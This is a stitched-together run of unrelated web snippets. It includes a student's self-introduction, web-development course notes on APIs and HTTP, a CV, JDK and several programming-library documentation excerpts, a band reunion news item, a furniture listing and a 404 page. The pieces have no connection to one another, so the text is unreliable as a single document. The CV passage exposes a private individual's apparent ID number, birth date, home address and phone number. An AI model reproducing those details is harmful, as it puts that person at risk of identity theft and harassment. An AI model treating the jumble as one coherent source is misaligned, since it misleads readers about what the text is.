I want to learn as much as I can but below is the list, I think, of most interesting topic I am looking forward to learn:
I guess my favorite hobby is traveling and hiking. I love to travel and discover new beautifull places as well as spending time with the nature. The world is
so bueatiful that I would encourage everyone if they have time to go to visits new places and it doesn't have to be in a different country. The United States
has many beautifull places as well. This year I went to visit Arizona, Utah, and Nevada. I fall in love with the weather and the scenery. Also, over the summer
I visitied Sheboygan, WI. It is a small, peacefull and very nice town. In addition to travel I am interested in photography. I am still in learning mode but I
alway trying to take as many pictures I can with different settings and pick what I like. As a kid and in my early teen years I used to draw so I am thinking
to start drawing again.
The history of computing can go as far as thousands of years ago. I would say is started with times where people started using number for any calculation.
The technology changed drastically especially in last couple decades. Below are three from many greatest innovations. If you want to learn more about,
click ona link next to innovation.
A fun fact about me would be that I am Polish, 🇵🇱
I speak two languages and most likely I am the oldest student in our class.


Data-driven applications must consume data to work. They may store data locally within the app, but many apps need to fetch data from somewhere else. This allows your app to take advantage of the functionality of an application or database that someone else built.
Since apps are written in different programming languages, there needs to be a way for them to communicate with one another.
To facilitate communication, protocols for sending and receiving data were developed along with formats for structuring that data. Additionally, developers created web services for applications so that they could be discovered and used on the web.
Developers created APIs to enable other developers and programs (either within the same program it is defined or externally) to access functions and data contained in their program. APIs describe how one program or component communicates or interfaces with another.
An example is the Google Maps API, which allows users to build apps using Google's massive geolocation database and services.
Some APIs are accessible without credentials, but most APIs will use an access token or key so that only authorized users or applications can use them. APIs may also throttle the number of requests that someone can make to conserve resources.
HTTP or Hypertext Transfer Protocol is a way for applications to communicate based on a request-response protocol.
Typically, a browser makes a request and the server sends a response back in the form of HTML web page data. The request is made when the user types a URL into the browser or clicks on a link that starts with http:// (https://)
The data may also be returned in a different format such as text or JSON that can be used by another application..
There are a number of HTTP request methods, but we will only cover a few. Think of these methods as types of actions.
GET: This is the method used when you visit a URL in your browser. It is used to retrieve data for a specified resource. The data is returned in a response body along with a header containing information about the response.
POST: This is used to send a request to a server asking it to accept data contained in the body of a request. This is used to create or update a resource such as posting a new comment to a discussion thread.
DELETE: This is used to send a request to the server to delete a resource such as deleting an email.
A response header will contain information about the request including a status code.
There are many different codes. Some that you may encounter often are:
We will use an application called Postman to create and view requests. Postman helps the developer view information about the response more easily than in the browser. It also helps the developer structure post requests, which you cannot create by simply typing a URL in the web browser.
Congratulations on completing this 8 week course on introductory web development. This is only the beginning, so hopefully you will want to continue to learn about web development, design, programming, and related topics.


Swapping out Facebook's emoji's with Steph Curry's face has never been easier!
To see this extension in action, launch Facebook and hover over the like button.
You can find me online at
Viren Mohindra © 2016


About
The Geneseo Digital Humanities Research Group studies how digital tools and quantitative methods can improve research in the Humanities, cultural studies, and social sciences. In using these cutting edge methodologies, our group augments the traditional research experiences in these fields, just as computational science did to the physical sciences in the 1950's and 1960's. As a group, we like to push for a global view when considering research questions, hoping that doing so will accelerate the rate at which our scholarly discovery can occur. Speeding up the discovery phase, ultimately reduces the amount of mundane work involved in research and allows us to spend more time on exceptional and complex problems. By iterating our process, we are able to combine our digital and quantitative methodologies with human intuition to first identify potentially interesting problems and then attempt to explain them within an appropriate context.


I am a serious guy, creative, orderly and responsible,
with excellent interpersonal communication and high service consciousness.
In my service in IDF, I served as a professional and commanding authority,
with understanding of management and leading people,
while providing creative solutions in times of stress and confusion!!
ID-318338027
Date of birth-06/08/1997
country of birth-Israel
Address- Kiryat Arba.tabenkin.37
phone number-0503939057
<EMAIL_ADDRESS>2012-2015:
Completing in success 12 years of schooling in Or Menchem High school.
Full matriculation with an extension of 10 study units in electronics and computers.
2019-2020:
Python programming self-learning!
2016-2017:
Warrior Training Course in the unit 359 -Armored Commando Unit.
I was selected as an outstanding soldier.
2017-2019:
Training class commanders in elite units.
Commanding a platoon of 22 soldiers.
Sergeant unit 359:


This chapter introduces the JDK directories and the files they contain. The file structure of the JRE is identical to the structure of the jre
directory in the JDK.
This chapter covers the following topics:
Demos and samples that show you how to program for the Java platform are available as a separate download at the Java SE Downloads page at
http://www.oracle.com/technetwork/java/javase/downloads/index.html
These are available as separate .tar.z
compressed packages and .tar.gz
compressed binaries. Similar to other 64-bit bundles on Oracle Solaris, the 64-bit demos and samples bundles on Oracle Solaris require that the 32-bit demos and samples bundles to also be installed.
This section describes the most important files and directories required to develop applications for the Java platform. Some of the directories that are not required include Java source code and C header files. See Additional Files and Directories.
jdk1.8.0 bin java* javac* javap* javah* javadoc* lib tools.jar dt.jar jre bin java* lib applet ext jfxrt.jar localdata.jar fonts security sparc server client rt.jar charsets.jar
Assuming the JDK software is installed at /jdk1.8.0
, here are some of the most important directories:
Root directory of the JDK software installation. Contains copyright, license, and README files. Also contains src.zip
, the archive of source code for the Java platform.
Executables for all the development tools contained in the JDK. The PATH
environment variable should contain an entry for this directory.
Files used by the development tools. Includes tools.jar
, which contains non-core classes for support of the tools and utilities in the JDK. Also includes dt.jar
, the DesignTime
archive of BeanInfo
files that tell interactive development environments (IDEs) how to display the Java components and how to let the developer customize them for an application.
Root directory of the Java Runtime Environment (JRE) used by the JDK development tools. The runtime environment is an implementation of the Java platform. This is the directory referred to by the java.home
system property.
Executable files for tools and libraries used by the Java platform. The executable files are identical to files in /jdk1.8.0/bin
. The java launcher tool serves as an application launcher (and replaced the earlier jre
command that shipped with 1.1 releases of the JDK). This directory does not need to be in the PATH
environment variable.
Code libraries, property settings, and resource files used by the JRE. For example rt.jar
contains the bootstrap classes, which are the run time classes that comprise the Java platform core API, and charsets.jar
contains the character-conversion classes. Aside from the ext
subdirectory, there are several additional resource subdirectories not described here.
Default installation directory for extensions to the Java platform. This is where the JavaHelp
JAR file goes when it is installed, for example. This directory includes the jfxrt.jar
file, which contains the JavaFX runtime libraries and the localedata.jar
file, which contains the locale data for the java.text
and java.util
packages. See The Extension Mechanism at
http://docs.oracle.com/javase/8/docs/technotes/guides/extensions/index.html
Contains files used for security management. These include the security policy java.policy
and security properties java.security
files.
Contains the .so
(shared object) files used by the Oracle Solaris release of the Java platform.
Contains the .so
file used by the Java HotSpot VM client, which is implemented with Java HotSpot VM technology. This is the default Java Virtual Machine (JVM).
Contains the .so
file used by the Java HotSpot VM server.
JAR files that contain support classes for applets can be placed in the lib/applet/
directory. This reduces startup time for large applets by allowing applet classes to be preloaded from the local file system by the applet class loader and provides the same protections as though they had been downloaded over the Internet.
Font files used by the platform.
This section describes the directory structure for Java source code, C header files, and other additional directories and files.
jdk1.8.0 db include man src.zip
Archive that contains the source code for the Java platform.
Contains Java DB. See Java DB Technical Documentation at
http://docs.oracle.com/javadb/
C-language header files that support native-code programming with the Java Native Interface and the Java Virtual Machine (JVM) Debugger Interface. See Java Native Interface at
http://docs.oracle.com/javase/8/docs/technotes/guides/jni/index.html
See also Java Platform Debugger Architecture (JPDA) at
http://docs.oracle.com/javase/8/docs/technotes/guides/jpda/index.html
Contains man pages for the JDK tools.


The Black Crowes are reuniting for ‘Shake Your Money Maker’ 30th anniversary tour
It will be the first time the band have performed together in six years
The Black Crowes are reuniting to celebrate the 30th anniversary of their 1990 debut album ‘Shake Your Money Maker’.
- Read more: Black Crowes – ‘Lions’ review
Earlier this week, the band’s logo was spotted on billboards in Wisconsin and New Jersey, teasing a potential reunion four years after going their separate ways.
Now, Jambands reports that posters advertising an upcoming reunion tour next year have begun circulating on electronic billboards in New York, showing dates for shows at New Jersey’s PNC Bank Arts Center on July 17 and New York’s Jones Beach Theater on July 18.
Each of the shows will feature a full performance of ‘Shake Your Money Maker’ along with a second set of greatest hits.
The reunion shows will be the first time the band have performed together in six years.
Revisit ‘Shake Your Money Maker’ below:
Shake Your Money Maker
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The Black Crowes split up in 2015. Guitarist Rich Robinson said it was due to a disagreement with his brother, the band’s frontman Chris Robinson.
In a statement at the time of the band’s disbandment, Rich Robinson said he could not abide his brother’s “demand that I must give up my equal share of the band and that our drummer for 28 years and original partner, Steve Gorman, relinquish 100 per cent of his share, reducing him to a salaried employee”.
Vocalist Chris Robinson later responded to his brother’s claims, saying the circumstances that led to the band breaking up were “way more complicated than Rich’s public outburst”.


library(system)
This package contains utilities for invoking services from the operating system that does not fit elsewhere.
Exported predicates:
now(
-When)
datime(
-Datime)
datime/6
record of the form
datime(
Year,
Month,
Day,
Hour,
Min,
Sec)
.
All fields are integers.
datime(
+When,
-Datime)
datime(
-When,
+Datime)
now/1
, to a
datime/6
record. Can be used in both directions.
sleep(
+Seconds)
environ(
?Var,
?Value)


Script to Languages mapping. Typically, one script is used by
many languages of the world. This map captures that information as a mapping
from script to array of two letter or three letter language codes.
This map is used by goog.locale.genericFontNames for listing
font fallbacks for a font family for a locale. That file
uses this map in conjunction with goog.locale.genericFontNamesData.
Warning: this file is automatically generated from CLDR.
Please contact i18n team or change the script and regenerate data.
Code location: http://go/generate_genericfontnames.py


Kitchen furniture
$121
Wooden wall shelf
Wooden wall shelf for kitchen vintage and stylish
$305
White Kitchen Cart with Natural Wood
$62
Antique wooden rack
Wooden rack vintage stylish
$349
Black Dining Table
Metalic black table with ceramic top and metal chairs
$549
Wooden Dining Table
Dining Table made of teak wood and pink finish
$999
Luxurious Dining Table
Luxurious Dining Table with Ceramic top and comfortable chairs.


We work with companies to inform the homeless on nutrituous food available
near them and the nutrients their bodies need to avoid being seriously ill.
We are an informative pillar in helping the homeless with their health,
be it food, mental, or addiction related.
By helping the homeless help themselves, we empower the vulnerable
with the information to live a healthier life.
See the positive change you can make with FoodBack!


Next: cons, Previous: cons (System Class), Up: Conses Dictionary
atom, t
It is equivalent to (not cons).


|
BA Point Cloud Renderer
1.2
Unity Rendering System for Large Point Clouds
|
The PointSetController for RealTimeRendering described in the thesis. Uses a V2Renderer, so each frame the displayed GameObjects get refreshed More...
Public Attributes | |
| uint | pointBudget = 1000000 |
| Point Budget - Maximum Number of Points in Memory / to Render More... | |
| int | minNodeSize = 10 |
| Minimum Node Size More... | |
| uint | nodesLoadedPerFrame = 15 |
| Maximum number of nodes loaded per frame More... | |
| uint | nodesGOsPerFrame = 30 |
| Maximum number of nodes having their gameobjects created per frame More... | |
| MeshConfiguration | meshConfiguration |
| MeshConfiguration. Defines how to render the points. More... | |
| uint | cacheSizeInPoints = 1000000 |
| Cache Size in POints More... | |
| Public Attributes inherited from BAPointCloudRenderer.Controllers.AbstractPointSetController | |
| bool | moveCenterToTransformPosition = true |
| Whether the center of the cloud should be moved to the position of this component More... | |
Protected Member Functions | |
| override void | Initialize () |
| Override this instead of Start!! Make sure to set the PointRenderer in here!!! More... | |
| Protected Member Functions inherited from BAPointCloudRenderer.Controllers.AbstractPointSetController | |
| bool | CheckReady () |
| Returns true, iff all the nodes are registered, have been moved to the center (if required) and the renderer is loaded. More... | |
Additional Inherited Members | |
| Public Member Functions inherited from BAPointCloudRenderer.Controllers.AbstractPointSetController | |
| void | RegisterController (MonoBehaviour controller) |
| Registers a PointCloud-Controller (See DynamicLoaderController). This should be done in the start-method of the pc-controller and is neccessary for the bounding-box-recalculation. The whole cloud will be moved and rendered as soon as for every registererd controller the bounding box was given via UpdateBoundingBox. Should be called only once for every controller More... | |
| void | UpdateBoundingBox (MonoBehaviour controller, BoundingBox boundingBox) |
| Sets the bounding box of a given Cloud-Controller, which has been registered via RegisterController first. If the bounding box should be moved (moveToOrigin), this method does not terminate until the movement has happened (via update), so this method should not be called in the main thread. More... | |
| void | AddRootNode (Node node) |
| Adds a root node to the renderer. Should be called by the PC-Controller, which also has to call RegisterController and UpdateBoundingBox. More... | |
| void | OnApplicationQuit () |
| Shuts down the renderer More... | |
| uint | GetPointCount () |
| Returns the point count More... | |
| Properties inherited from BAPointCloudRenderer.Controllers.AbstractPointSetController | |
| AbstractRenderer | PointRenderer [get, set] |
| The Renderer (value may not be null at setting) More... | |
The PointSetController for RealTimeRendering described in the thesis. Uses a V2Renderer, so each frame the displayed GameObjects get refreshed
|
inlineprotectedvirtual |
Override this instead of Start!! Make sure to set the PointRenderer in here!!!
Implements BAPointCloudRenderer.Controllers.AbstractPointSetController.
| uint BAPointCloudRenderer.Controllers.PointCloudSetRealTimeController.cacheSizeInPoints = 1000000 |
Cache Size in POints
| MeshConfiguration BAPointCloudRenderer.Controllers.PointCloudSetRealTimeController.meshConfiguration |
MeshConfiguration. Defines how to render the points.
| int BAPointCloudRenderer.Controllers.PointCloudSetRealTimeController.minNodeSize = 10 |
Minimum Node Size
| uint BAPointCloudRenderer.Controllers.PointCloudSetRealTimeController.nodesGOsPerFrame = 30 |
Maximum number of nodes having their gameobjects created per frame
| uint BAPointCloudRenderer.Controllers.PointCloudSetRealTimeController.nodesLoadedPerFrame = 15 |
Maximum number of nodes loaded per frame
| uint BAPointCloudRenderer.Controllers.PointCloudSetRealTimeController.pointBudget = 1000000 |
Point Budget - Maximum Number of Points in Memory / to Render


private fun listenToMemberStatus(callback: MemberCallback): Unit
Listens to the status of each member in a room The Member class contains their profile, the timestamp and the status
callback -
callback
See Also
Member
MemberStatus


Unfortunately, you hit a dead end! Maybe there was a page here, maybe there wasn't, we'll never know. Go ahead and try using the navigation menu above or some of the helpful links below.
Unfortunately, you hit a dead end! Maybe there was a page here, maybe there wasn't, we'll never know. Go ahead and try using the navigation menu above or some of the helpful links below.